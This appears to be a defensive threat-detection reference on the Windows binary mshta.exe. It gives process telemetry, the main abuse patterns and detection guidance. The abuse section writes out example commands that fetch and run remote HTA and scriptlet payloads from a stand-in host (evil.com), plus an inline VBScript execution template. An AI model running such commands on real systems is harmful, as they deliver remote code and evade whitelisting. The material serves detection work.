mshta.exe

Top Paths

• C:\Windows\SysWOW6480.14%
• C:\Windows\System3219.86%

Top Hashes (SHA256)

• 355beb0ff255e495bba836298f79ff980f8375c981b824de054fb7b9f1f2928628.57%
• c9a163ff2c856ffe2313786457ecc1792a9f19758e88712218940b803ab2405523.21%
• b407bc80b3b0e7cc327986c8423e99deaf536349521724eabafd5a615289248415.18%
• 329b92fd43004ccac98fba9cea61cfdffefbac04982af76958a13b85780c33015.36%
• 515437a6721142081c0706dbb18d11f6b294490389f688addda41ced8301c0945.36%
• a8949af37f4b28806718c97358ddfbeb19752a6421c5072a4ed5897f8e3910ab4.46%
• f9cb3f8a953998740479fbf318547ab8c62fb17b620bf45acf759086213370e04.46%
• cbab3546bddb2e4ea340c1a7df680da6c4f4f2f18b8e98f6d4b66926183e269e3.57%
• 213ab5658e44f2a111c5e4cffa043660bc49307ebb1b7eedd21dbddca5da41ac2.68%
• 5b6429b98adf532e6f694c9a6cd1a1943b4aa3d5ea524d4fb353939fd9c613421.79%

Top Grandparents

• explorer.exe39.42%
• services.exe13.14%
• userinit.exe10.95%
• svchost.exe10.22%
• cmd.exe5.11%
• TeamViewer_Service.exe5.11%
• OUTLOOK.EXE0.73%
• powershell.exe0.73%
• TeamViewer.exe0.73%

Top Parents

• svchost.exe12.77%
• explorer.exe10.64%
• TeamViewer.exe9.93%
• cmd.exe6.38%
• browser_broker.exe5.67%
• chrome.exe3.55%
• python.exe3.55%
• WmiPrvSE.exe3.55%
• powershell.exe2.13%
• OpenWith.exe0.71%

Top Children

• cmd.exe20.62%
• HPScan.exe14.78%
• powershell.exe9.62%
• scantopcactivationapp.exe2.75%
• msedge.exe0.34%
• notepad.exe0.34%
• rundll32.exe0.34%

What does mshta.exe normally do?

Runs from C:\Windows\System32 or C:\Windows\SysWOW64. Legitimate use is uncommon in most environments — primarily seen with HP printer software (HTA-based config UIs), some enterprise tools, and legacy intranet applications. Short-lived: launches, renders the HTA, exits when the user closes it. Should not be persistent or long-running. In our dataset, HP printer drivers are the dominant legitimate parent (HP DeskJet, HP Officejet), which is a well-known pattern.

When is mshta.exe suspicious?

Launched by cmd.exe, powershell.exe, WmiPrvSE.exe, or any scripting engine. Command line containing a URL (http:// or https://) — mshta can fetch and execute remote HTAs directly. Command line containing inline VBScript or JScript (e.g., "vbscript:Execute" or "javascript:"). Spawning powershell.exe, cmd.exe, certutil.exe, or other LOLBins as children. Running from a path other than System32/SysWOW64. Multiple instances or long-running instances. Launched by browser processes (chrome.exe, iexplore.exe) — may indicate drive-by download. extrac32.exe as a child (seen in our data — 53 observations) is worth investigating as extrac32 is itself a LOLBin used for file extraction.

How do attackers abuse mshta.exe?

mshta.exe is a top-tier LOLBin because it combines script execution, network access, and proxy execution in a single signed Microsoft binary. Primary abuse patterns: 1. REMOTE HTA EXECUTION: "mshta http://evil.com/payload.hta" — fetches and executes an HTA from a URL. The HTA runs with full local trust. This is the most common initial access vector using mshta. Used heavily by commodity malware (Emotet, QakBot) and APT groups. 2. INLINE SCRIPT EXECUTION: "mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ..."" )" — executes arbitrary VBScript without writing any file to disk. Bypasses application whitelisting that blocks .vbs files but allows mshta.exe. Used for fileless malware delivery. 3. JAVASCRIPT VARIANT: "mshta javascript:a=GetObject("script:http://evil.com/payload.sct")" — fetches and executes a scriptlet (.sct) file. Combines proxy execution with remote payload retrieval. 4. APPLOCKER/WDAC BYPASS: mshta.exe is a signed Microsoft binary typically allowed by default application whitelisting policies. Attackers use it to execute code that would otherwise be blocked. Many organizations have added explicit mshta.exe blocks after recognizing this gap. 5. PROXY EXECUTION FOR DEFENSE EVASION: Used as an intermediary to launch powershell.exe, cmd.exe, or other tools. The parent chain becomes explorer.exe → mshta.exe → powershell.exe, which may evade detections looking for direct shell spawning from Office applications or browsers. 6. COM SCRIPTLET EXECUTION: mshta can instantiate COM objects and execute .sct (scriptlet) files, enabling code execution through COM interfaces. Notable campaigns: Lazarus Group (APT38) has used mshta.exe extensively for initial access. FIN7 has used HTA files delivered via phishing. MuddyWater uses mshta with inline VBScript. Kimsuky uses mshta for C2 communication.

Detection guidance

HIGH-CONFIDENCE DETECTIONS: - mshta.exe command line containing "http://" or "https://" — remote HTA fetch, almost always malicious - mshta.exe command line containing "vbscript:", "javascript:", or "script:" — inline execution, rarely legitimate - mshta.exe spawning powershell.exe, cmd.exe, certutil.exe, regsvr32.exe, or cscript.exe/wscript.exe - mshta.exe launched by WmiPrvSE.exe (WMI lateral movement) - mshta.exe launched by winword.exe, excel.exe, or outlook.exe (macro → HTA chain) MEDIUM-CONFIDENCE DETECTIONS: - Any mshta.exe execution in environments that don't use HTA applications (many orgs can baseline to zero) - mshta.exe with network connections to external IPs - mshta.exe running from a non-standard path - mshta.exe with encoded or obfuscated command-line arguments DATA SOURCES: - Process creation (Sysmon Event ID 1, Windows 4688 with command-line auditing) - Network connections from mshta.exe (Sysmon Event ID 3) - File creation by mshta.exe (Sysmon Event ID 11) - Script block logging if mshta invokes PowerShell (Event ID 4104) RECOMMENDED APPROACH: In most enterprise environments, mshta.exe execution is rare enough to alert on every instance and triage from there. If HP printer software is present, whitelist the specific HP parent processes to reduce noise.

False positive notes

HP printer software is the primary false positive source. HP DeskJet, Officejet, and other HP printer drivers use HTA-based configuration interfaces, launching mshta.exe from HP parent processes. In our dataset, HP printers account for the majority of legitimate mshta.exe activity. Other FPs: some legacy enterprise intranet applications use HTAs for internal tools; some software installers use HTA-based wizards during setup. These are identifiable by their parent process and command-line arguments pointing to local .hta files rather than URLs or inline scripts.

MITRE ATT&CK techniques

References

• https://lolbas-project.github.io/lolbas/Binaries/Mshta/
• https://attack.mitre.org/techniques/T1218/005/